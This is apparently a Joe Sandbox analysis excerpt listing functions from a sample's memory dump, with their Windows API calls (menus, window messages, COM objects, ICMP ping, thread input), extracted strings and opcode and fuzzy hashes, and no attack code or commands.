API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
Instruction ID: 1e1600085bdd841da1c5c0fb1ac3f3037a1c486f35d57739b6a595df7ec23c1c
Opcode Fuzzy Hash: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
Instruction Fuzzy Hash: C471EBB5A00F17EBD7149E78CC45BAA73A8BF01765F14422AF910D7282E7B8ED4487D0

Function 00764DDD Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00764DF8
GetMenuItemInfoW.USER32(007E1708,000000FF,00000000,00000030), ref: 00764E59
SetMenuItemInfoW.USER32(007E1708,00000004,00000000,00000030), ref: 00764E8F
Sleep.KERNEL32(000001F4), ref: 00764EA1
GetMenuItemCount.USER32(?), ref: 00764EE5
GetMenuItemID.USER32(?,00000000), ref: 00764F01
GetMenuItemID.USER32(?,-00000001), ref: 00764F2B
GetMenuItemID.USER32(?,?), ref: 00764F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00764FB6
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00764FCA
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00764FEB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 9a4d71d515289c07f14e52c49723ca787ea21ac13a8dd79bfa99056a6750c318
Instruction ID: 5f2a0ebb35c7a3d812d023392b1e21725327227ec76c2904ab910954e498ab9f
Opcode Fuzzy Hash: 9a4d71d515289c07f14e52c49723ca787ea21ac13a8dd79bfa99056a6750c318
Instruction Fuzzy Hash: 33618FB1900289EFDB21CFA4DC88AEE7BB8FB45308F184159F843A7251D739AD55DB21

Function 00789C16 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00789C98
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00789C9B
GetWindowLongW.USER32(?,000000F0), ref: 00789CBF
_memset.LIBCMT ref: 00789CD0
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00789CE2
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00789D5A

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: f4fe3e734645a227a561c852159b48bf2aaab94c297b415fbabcda0ba71b514c
Instruction ID: 7ad46b941d0999e653849d025e1e8704f0bd7fe8dfc90b49ee08a09e84a9d05c
Opcode Fuzzy Hash: f4fe3e734645a227a561c852159b48bf2aaab94c297b415fbabcda0ba71b514c
Instruction Fuzzy Hash: D4618B75A40248EFDB20DFA8CC81EFE77B8EB09700F144199FA05AB291D778AD41DB64

Function 007594E1 Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 007594FE
SafeArrayAllocData.OLEAUT32(?), ref: 00759549
VariantInit.OLEAUT32(?), ref: 0075955B
SafeArrayAccessData.OLEAUT32(?,?), ref: 0075957B
VariantCopy.OLEAUT32(?,?), ref: 007595BE
SafeArrayUnaccessData.OLEAUT32(?), ref: 007595D2
VariantClear.OLEAUT32(?), ref: 007595E7
SafeArrayDestroyData.OLEAUT32(?), ref: 007595F4
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 007595FD
VariantClear.OLEAUT32(?), ref: 0075960F
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0075961A

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: fd830d6ee31edb65a2b0b3dd9abf46d9f93706bd2a238e3686e5d702c451f9c7
Instruction ID: 9e6566174d2a3a4a064a2e3054acbb468464bab9a6913d4049b2820586662908
Opcode Fuzzy Hash: fd830d6ee31edb65a2b0b3dd9abf46d9f93706bd2a238e3686e5d702c451f9c7
Instruction Fuzzy Hash: DB418D70900219EFCB11EFA4DC489DEBF79FF48311F008025F902A3251EB78AA49CBA1

Function 0077BB08 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 264COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0077BB5C
VariantInit.OLEAUT32(?), ref: 0077BC2D
VariantInit.OLEAUT32(?), ref: 0077BD2E
VariantClear.OLEAUT32(?), ref: 0077BD38
VariantClear.OLEAUT32(?), ref: 0077BD99

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0077BD11
|?}, xrefs: 0077BB34
h?}, xrefs: 0077BB2D
Null Object assignment in FOR..IN loop, xrefs: 0077BBBD, 0077BCEB, 0077BDA7

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$h?}$|?}
API String ID: 2862541840-1857323503
Opcode ID: b33f2feb16f40cb9bba1179856c1b6b95c53d1026a9e08c51b310b7d1a338668
Instruction ID: 91b0994443a03e6110ec44fd41fec46ba921d727f78260b667190aa42404020a
Opcode Fuzzy Hash: b33f2feb16f40cb9bba1179856c1b6b95c53d1026a9e08c51b310b7d1a338668
Instruction Fuzzy Hash: 1B91A271A00219EBDF24CF94C848FAEB7B8EF85750F10C55AF919AB281D7789940CFA0

Function 0077ADAE Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

CoInitialize.OLE32 ref: 0077ADF6
CoUninitialize.OLE32 ref: 0077AE01
CoCreateInstance.OLE32(?,00000000,00000017,007AD8FC,?), ref: 0077AE61
IIDFromString.OLE32(?,?), ref: 0077AED4
VariantInit.OLEAUT32(?), ref: 0077AF6E
VariantClear.OLEAUT32(?), ref: 0077AFCF

Strings

Invalid parameter, xrefs: 0077AEED
NULL Pointer assignment, xrefs: 0077AEA6
Failed to create object, xrefs: 0077AE6C, 0077AF22

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 700044648e725b9c365a9cd11fa71c04dfa86000e2148e3b7fb0b0c5fdca3e50
Instruction ID: e8838ae648e60761f0fbf5477f378e2f310c262601bda531f740b7b3ff68cbc9
Opcode Fuzzy Hash: 700044648e725b9c365a9cd11fa71c04dfa86000e2148e3b7fb0b0c5fdca3e50
Instruction Fuzzy Hash: A1619D70208311EFEB10DF54C849B6EB7E8AF89754F108519F98A9B291C778ED44CB93

Function 00778107 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00778168
inet_addr.WSOCK32(?), ref: 007781AD
gethostbyname.WSOCK32(?), ref: 007781B9
IcmpCreateFile.IPHLPAPI ref: 007781C7
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00778237
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 0077824D
IcmpCloseHandle.IPHLPAPI(00000000), ref: 007782C2
WSACleanup.WSOCK32 ref: 007782C8

Strings

Ping, xrefs: 007781EB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 69612c911f0b98fff04fbeb662c526f9f0a4c9c1521cae3e82c78ad1dd68a68f
Instruction ID: 221c98cb72144fb3d2a0f2d32c92d0e63869488062a2149baee0717ad67fb754
Opcode Fuzzy Hash: 69612c911f0b98fff04fbeb662c526f9f0a4c9c1521cae3e82c78ad1dd68a68f
Instruction Fuzzy Hash: FF5181316447009FDB60AF24DC49B6A77E4BF49361F04C929F95ADB2A2DB38ED05CB42

Function 0076E389 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0076E396
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0076E40C
GetLastError.KERNEL32 ref: 0076E416
SetErrorMode.KERNEL32(00000000,READY), ref: 0076E483

Strings

READONLY, xrefs: 0076E44E
UNKNOWN, xrefs: 0076E43B
INVALID, xrefs: 0076E455
READY, xrefs: 0076E45C
NOTREADY, xrefs: 0076E442

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: bfee57dd2c858660e2554cd895ce50b30592a052570a08d88ae0accd250337e7
Instruction ID: 47a51595ed7efbefb222a993a6be2430f632c8ddc6eda1bed0b5207452d744de
Opcode Fuzzy Hash: bfee57dd2c858660e2554cd895ce50b30592a052570a08d88ae0accd250337e7
Instruction Fuzzy Hash: 45319479A00249EFDB11EB64D849AAD7BB4EF45300F148026F907EB2D1DB789D05C7A1

Function 0075B907 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 0075B98C
GetDlgCtrlID.USER32 ref: 0075B997
GetParent.USER32 ref: 0075B9B3
SendMessageW.USER32(00000000,?,00000111,?), ref: 0075B9B6
GetDlgCtrlID.USER32(?), ref: 0075B9BF
GetParent.USER32(?), ref: 0075B9DB
SendMessageW.USER32(00000000,?,?,00000111), ref: 0075B9DE

Strings

ComboBox, xrefs: 0075B911
ListBox, xrefs: 0075B949

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$CtrlParent
String ID: ComboBox$ListBox
API String ID: 1383977212-1403004172
Opcode ID: 6bf173066ce845a347d8cc1f83d1aa9b7ca1269c5b26809e77210eb82054d058
Instruction ID: c9a1529c743792fc22eee15946f49edf3ff9e098dca6f44cc4470be901b9b3d1
Opcode Fuzzy Hash: 6bf173066ce845a347d8cc1f83d1aa9b7ca1269c5b26809e77210eb82054d058
Instruction Fuzzy Hash: CF21C4B4900104FFDB05ABA0DC85EFEB774EB96300B104119F95293291DBBC5C19DB24

Function 0075B9F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 0075BA73
GetDlgCtrlID.USER32 ref: 0075BA7E
GetParent.USER32 ref: 0075BA9A
SendMessageW.USER32(00000000,?,00000111,?), ref: 0075BA9D
GetDlgCtrlID.USER32(?), ref: 0075BAA6
GetParent.USER32(?), ref: 0075BAC2
SendMessageW.USER32(00000000,?,?,00000111), ref: 0075BAC5

Strings

ComboBox, xrefs: 0075B9FA
ListBox, xrefs: 0075BA32

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$CtrlParent
String ID: ComboBox$ListBox
API String ID: 1383977212-1403004172
Opcode ID: 5a9cb8f6d1a7d2353a2123167cf9b1ffbf9d8895dabe566cbf035bb779c7c86a
Instruction ID: c39813a77d70460db35142d8c76cdd801825cd118fd0d15ebb54bc99f8a18d80
Opcode Fuzzy Hash: 5a9cb8f6d1a7d2353a2123167cf9b1ffbf9d8895dabe566cbf035bb779c7c86a
Instruction Fuzzy Hash: A921C1B4900108BFDB15ABA0CC85EFEB774EF55300F108015F95293291DBBD4C1A9B24

Function 0075BAD7 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 0075BAE3
GetClassNameW.USER32(00000000,?,00000100), ref: 0075BAF8
_wcscmp.LIBCMT ref: 0075BB0A
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0075BB85

Strings

smallicons, xrefs: 0075BB4D
list, xrefs: 0075BB67
SHELLDLL_DefView, xrefs: 0075BB04
details, xrefs: 0075BB33
largeicons, xrefs: 0075BB19

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: cb8ebbb86990051580ad6b1514571bd50747e147da6715b73b8fd22371a228d0
Instruction ID: 075e912d7e0eee5c458d821a6d882f56ca958d2806b60cfec2578f860fef6e6a
Opcode Fuzzy Hash: cb8ebbb86990051580ad6b1514571bd50747e147da6715b73b8fd22371a228d0
Instruction Fuzzy Hash: 2C11E3B6608707F9FA2466349C0ADF637ACDB61360B204022FE05E40D6EBED686A4954

Function 0077B2A9 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0077B2D5
CoInitialize.OLE32(00000000), ref: 0077B302
CoUninitialize.OLE32 ref: 0077B30C
GetRunningObjectTable.OLE32(00000000,?), ref: 0077B40C
SetErrorMode.KERNEL32(00000001,00000029), ref: 0077B539
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002), ref: 0077B56D
CoGetObject.OLE32(?,00000000,007AD91C,?), ref: 0077B590
SetErrorMode.KERNEL32(00000000), ref: 0077B5A3
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0077B623
VariantClear.OLEAUT32(007AD91C), ref: 0077B633

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: bddffd7f6728aa8c66bc8b7a6a47c8404d3808ab8c373cd67933f82424fa8752
Instruction ID: 4d4e17dfb9d0d805ec83f79afc4cdd77a9e8d48317e230d2b3bc737c184dbf21
Opcode Fuzzy Hash: bddffd7f6728aa8c66bc8b7a6a47c8404d3808ab8c373cd67933f82424fa8752
Instruction Fuzzy Hash: 71C111B1608304AFCB10DF64C884A6AB7E9FF89344F00891DF98ADB251DB79ED05CB52

Function 00764025 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00764047
GetForegroundWindow.USER32(00000000,?,?,?,?,?,007630A5,?,00000001), ref: 0076405B
GetWindowThreadProcessId.USER32(00000000), ref: 00764062
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,007630A5,?,00000001), ref: 00764071
GetWindowThreadProcessId.USER32(?,00000000), ref: 00764083
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,007630A5,?,00000001), ref: 0076409C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,007630A5,?,00000001), ref: 007640AE
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,007630A5,?,00000001), ref: 007640F3
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,007630A5,?,00000001), ref: 00764108
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,007630A5,?,00000001), ref: 00764113

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 31198d46f1a0b4c7e2bc880e5e01e39c081b31f5ad8bc426a811bcaabea03556
Instruction ID: 2955603112374d50448b31ed0a730c0b51242ed43fc9468db6e9afb1fc584501
Opcode Fuzzy Hash: 31198d46f1a0b4c7e2bc880e5e01e39c081b31f5ad8bc426a811bcaabea03556
Instruction Fuzzy Hash: BD31C3B1501218AFDB25DF54DC8DB6977B9AB96351F20C105FD06DB2A0CBBCDD808B68

Function 0079DD4A Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0073B496
SetTextColor.GDI32(?,000000FF), ref: 0073B4A0
SetBkMode.GDI32(?,00000001), ref: 0073B4B5
GetStockObject.GDI32(00000005), ref: 0073B4BD
GetClientRect.USER32(?), ref: 0079DD63
SendMessageW.USER32(?,00001328,00000000,?), ref: 0079DD7A
GetWindowDC.USER32(?), ref: 0079DD86
GetPixel.GDI32(00000000,?,?), ref: 0079DD95
ReleaseDC.USER32(?,00000000), ref: 0079DDA7
GetSysColor.USER32(00000005), ref: 0079DDC5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: 904facd8269a0cfb5aa7a054ad7287d0f8f69cc462a2be7d421a571b9b92faa6
Instruction ID: 66d61ac676826a6a2a716144267dd4a96713e83f78a5c62fda5f09a37fa56ccf
Opcode Fuzzy Hash: 904facd8269a0cfb5aa7a054ad7287d0f8f69cc462a2be7d421a571b9b92faa6
Instruction Fuzzy Hash: F2118E31500245EFEB316FB4EC08BE93B61EB46321F11C225FA66954E2DB390D51DF24

Function 00723093 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 007230DC
CoUninitialize.OLE32(?,00000000), ref: 00723181
UnregisterHotKey.USER32(?), ref: 007232A9
DestroyWindow.USER32(?), ref: 00795079
FreeLibrary.KERNEL32(?), ref: 007950F8
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00795125

Strings

close all, xrefs: 007230D7

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: c2a961d7ad06c5264459d768485531a31e58907d1adb3501f13ae84447bba885
Instruction ID: 6cdedf297f39716ea95dca1c5e744f0a4e74eb7454b1ba824a53b723469bcf54
Opcode Fuzzy Hash: c2a961d7ad06c5264459d768485531a31e58907d1adb3501f13ae84447bba885
Instruction Fuzzy Hash: 90913E70600226CFC716EF24E899E68F3B4FF15304F5481A9E50A67662DB3CAE66CF54

Function 0073CB8D Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 0073CC15

Part of subcall function 0073CCCD: GetClientRect.USER32(?,?), ref: 0073CCF6
Part of subcall function 0073CCCD: GetWindowRect.USER32(?,?), ref: 0073CD37
Part of subcall function 0073CCCD: ScreenToClient.USER32(?,?), ref: 0073CD5F

GetDC.USER32 ref: 0079D137
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0079D14A
SelectObject.GDI32(00000000,00000000), ref: 0079D158
SelectObject.GDI32(00000000,00000000), ref: 0079D16D
ReleaseDC.USER32(?,00000000), ref: 0079D175
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0079D200

Strings

U, xrefs: 0079D0D5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
